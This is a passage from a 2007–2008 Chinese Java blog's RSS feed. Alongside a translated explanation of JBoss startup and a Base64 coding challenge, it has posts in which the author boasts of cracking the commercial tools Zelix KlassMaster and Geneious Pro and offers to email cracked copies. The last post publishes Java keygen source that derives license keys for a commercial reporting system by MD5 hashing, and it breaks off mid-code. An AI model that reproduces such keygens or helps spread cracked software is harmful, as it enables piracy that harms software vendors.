GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/174256.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html#Feedback</comments><slash:comments>129</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/174256.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/174256.html</trackback:ping><description><![CDATA[<p>KlassMaster很强大的混淆工具，最大卖点应该是混淆时改程序的控制流程但程序功能不会发生变化这一点。<br />
当然，字符加密功能也很强大，对逆向工程会带来很大的麻烦。</p>
<p>当然，价格也不低：）上次破解了4.5，一直在用。前两天发现已经更新到5.1了，<br />
想办法弄了一个，企业版。<br />
<br />
本来不打算散发该软件的破解，原因是一年前我收到了官方的邮件，要求我不要做影响他们<br />
公司的事情，但又看到这么多朋友需要。那我就发布一个该软件的低版本，留下邮箱的我会<br />
给每人发一份，同时希望大家在小范围传播就行了。<br />
<img height="476" alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/ZKM.JPG" width="637" border="0" /> </p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/174256.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-01-10 13:35 <a href="http://www.blogjava.net/galaxyp/archive/2008/01/10/174256.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JBoss启动过程(译) zt</title><link>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Mon, 19 Nov 2007 08:08:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/161648.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/161648.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/161648.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">1.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">org.jboss.Main.main(String[])</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">为入口.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">2.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">main</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">函数创建一个名叫&#8221;jboss&#8221;的线程组, 然后创建一个属于该组的线程, 在线程中执行boot方法.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">3.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">boot</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">方法首先处理main函数中的参数(及一些其它的系统环境设置), 接着就用系统的属性创建了<span style="color: #99cc00">org.jboss.system.server.ServerLoader</span>实例[<span style="color: maroon">new ServerLoader(<span style="color: blue">props</span>)]. </span></span></p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">4.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">ServerLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">注册Jboss相关的类路径, 包括XML解析器, jboss-jmx.jar, concurrent.jar及其它的一些额外的类路径.</span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">5.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">ServerLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">通过load(ClassLoader)方法创建Jboss Server实例. 参数ClassLoader是ClassLoader parentCL = Thread.currentThread(). getContextClassLoader( )得到的当前线程的类加载器. 创建的Server实例是<span style="color: #99cc00">org.jboss.system.server.Server</span>接口的实现. load(ClassLoader)方法的细节:</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">用jar包及在ServerLoader中注册的类路径创建一个URLClassLoader的实例, 把传入的ClassLoader作为该URLClassLoader的parent. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">Server</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">接口的实现类由系统属性 jboss.server.type决定, 默认是&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: #99cc00">org.jboss.system.server.ServerImpl.</span></span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">URLClassLoader</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">通过无参构造函数加载Server接口实现的实例. 在加载前把当前线程的类加载器置为该URLClassLoader, 在加载完成后再置回之前传入的ClassLoader. </span></p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">6.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">Server</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例用系统属性进行初始化[server.init(<span style="color: blue">props)].</span></span> </p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">7.<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">服务起动[server.start()]. 起动过程的默认实现如下:</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">把当前线程类型加载器置为加载该Server接口实现实例的ClassLoader.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">在jboss域内, 通过MBeanServerFactory的createMBeanServer(String)方法创建MbeanServer实例. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">在MBean Server上注册ServerImpl和ServerConfigImpl两个MBean.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">初始化统一的类加载仓库(unified class loader repository), 用来装载服务器配置目录及其它可选目录下的jar文件. 对于每一个jar文件和类目录都会创建一个相应的<span style="color: #99cc00">org.jboss.jmx.loading.UnifiedClassLoader</span>实例, 并且注册到统一的仓库中. 其中一个UnifiedClassLoader实例会被设置为当前线程上下文的ClassLoader. [?: <span style="color: #ffcc00">This effectively makes allUnifiedClassLoaders available through the thread context class loader.]</span></span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">接下来创建<span style="color: #99cc00">org.jboss.system.ServiceController</span>的MBean实例. ServiceController管理JBoss MBean服务的生命周期. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.MainDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. MainDeployer管理部署的依赖和部署的定向. </span></p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.</span> <span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">JARDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. JARDeployer处理jar包的部署.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">org.jboss.deployment.</span> <span style="font-size: 12pt; color: #99cc00; line-height: 150%; font-family: 宋体">SARDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">实例被创建并起动. SARDeployer处理JBoss MBean服务的部署.</span> </p>
<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-size: 12pt; line-height: 150%; font-family: Wingdings">&#216;<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-size: 12pt; line-height: 150%; font-family: 宋体">MainDeployer</span> <span style="font-size: 12pt; line-height: 150%; font-family: 宋体">对当前服务器文件环境里conf/jboss-service.xml定义的服务进行部署.</span> </p>
<p><span style="font-size: 12pt; font-family: 宋体">启动过程结束. 把当前线程上下文类加载器置回为起动前的ClassLoader.</span></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/161648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-11-19 16:08 <a href="http://www.blogjava.net/galaxyp/archive/2007/11/19/161648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>破解 Geneious Pro 3.0.6</title><link>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 17 Oct 2007 05:54:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/153554.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html#Feedback</comments><slash:comments>19</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/153554.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/153554.html</trackback:ping><description><![CDATA[<p dir="ltr" style="margin-right: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 同样，破解该软件只是个人爱好，注册机不会发布。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 该软除了用到多种加密算法外（包括数字签名、非对称加密、对称加密、CRC校验、变种Base64编码等），最让人头痛的应该是反调试和字节码混淆。我们知道，在JAVA的重载中，反回值的类型并不做为重载签名。混淆后的代码反编译后会发现大量同名函数，参数类型也一样，所不同的只是反回值类型的不同。分析这样的代码往往会把你带进&#8220;误区&#8221;——跟进了不是系统调用的函数。而且，这样的函数也无法用字节码工具直接修改。反调试功能让该软件无法通过调试工具运行，这样你只能一步步分析反编译你的代码。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图：
<div align="center"><img height="716" alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneious_Pro.JPG" width="668" border="0" /></div>
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneiout_Pro4.JPG" border="0" /><br />
  <img src ="http://www.blogjava.net/galaxyp/aggbug/153554.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-10-17 13:54 <a href="http://www.blogjava.net/galaxyp/archive/2007/10/17/153554.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>技术挑战——根据编码函数写出解码函数</title><link>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Fri, 12 Oct 2007 01:49:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/152231.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/152231.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/152231.html</trackback:ping><description><![CDATA[<p align="left">第一个粘出解码函数的人将得到价值几百美元的混淆工具，据评价也是目前最好的混淆器。当然，前题是你想要：）。<br />
<br />
public class Base64Coder<br />
{</p>
<p>&nbsp;&nbsp;&nbsp; public static void main(String[] args)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;String a = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";//这里不技持中文<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String ru;<br />
&nbsp;&nbsp;&nbsp; &nbsp;char[] ch;<br />
&nbsp;&nbsp;&nbsp; &nbsp;try{<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;byte[] bt= a.getBytes("UTF-8");<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;ch = encrypt(bt);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;//ru = new String(decrypt(ch));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;System.out.println(ru);<br />
&nbsp;&nbsp;&nbsp; &nbsp;}catch(Exception e){}<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public static char[] encrypt(byte abyte0[])<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i = abyte0.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j = (i * 4 + 2) / 3;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k = ((i + 2) / 3) * 4;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char ac[] = new char[k];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i1 = 0; l &lt; i; i1++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j1 = abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k1 = l &gt;= i ? 0 : abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l1 = l &gt;= i ? 0 : abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i2 = j1 &gt;&gt;&gt; 2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j2 = (j1 &amp; 3) &lt;&lt; 4 | k1 &gt;&gt;&gt; 4;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k2 = (k1 &amp; 0xf) &lt;&lt; 2 | l1 &gt;&gt;&gt; 6;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l2 = l1 &amp; 0x3f;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1++] = cChar[i2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1++] = cChar[j2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1] = i1 &gt;= j ? '=' : cChar[k2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i1++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1] = i1 &gt;= j ? '=' : cChar[l2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ac;<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; private static char cChar[];<br />
&nbsp;&nbsp;&nbsp; private static byte bByte[];</p>
<p>&nbsp;&nbsp;&nbsp; static <br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar = new char[64];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c = 'A'; c &lt;= 'Z'; c++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c1 = 'a'; c1 &lt;= 'z'; c1++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c1;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c2 = '0'; c2 &lt;= '9'; c2++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c2;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = '+';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = '/';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte = new byte[128];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int j = 0; j &lt; bByte.length; j++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte[j] = -1;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int k = 0; k &lt; 64; k++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte[cChar[k]] = (byte)k;</p>
<p>&nbsp;&nbsp;&nbsp; }<br />
}</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/152231.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-10-12 09:49 <a href="http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>X报表系统的注册机</title><link>http://www.blogjava.net/galaxyp/archive/2007/06/27/126541.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 27 Jun 2007 03:51:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/06/27/126541.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/126541.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/06/27/126541.html#Feedback</comments><slash:comments>15</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/126541.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/126541.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 前几天有人在blogjava上发表了一篇批价各个报表系统的文章，大为推荐这个系统。于是本人下载试用，结果很让人失望，它的功能还不如免费的iReport。保护和它的功能一样差，顺手把注册机写出来，因为我想有一些和我一样的人——试用也喜欢那种没有限制的。至于这个系统的名称，大家自己去找。<br><br>import java.security.MessageDigest;</p>
<p>public class keygen {<br>&nbsp;<br>&nbsp;public static void main(String[] args)<br>&nbsp;{<br>&nbsp;&nbsp;System.out.println(checkKey("<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#100;&#101;&#99;&#116;&#101;&#115;&#116;&#103;&#97;&#108;&#97;&#120;&#121;&#112;&#64;&#103;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;">dectestgalaxyp@gmail.com</a>"));<br>&nbsp;&nbsp;&nbsp;//dec 用户名 test 项目名 后面的是邮箱<br>&nbsp;}</p>
<p>&nbsp;&nbsp;&nbsp; private static String checkKey(String name)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; byte nameBytes[];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StringBuffer theKey;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(name == null)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return "null";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nameBytes = name.getBytes();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey = new StringBuffer();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; byte td[];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageDigest md = MessageDigest.getInstance("MD5");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; md.update(nameBytes);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; td = md.digest();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(td.length != 16)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return "null";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int n;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 2; i &lt;= 5; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append((char)(n % 25 + 65));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append("-");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 7; i &lt;= 11; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(i == 9)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(Integer.toHexString(n % 16));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(n % 10);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append("-");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[15] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append((char)(n % 25 + 65));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 14; i &gt;= 12; 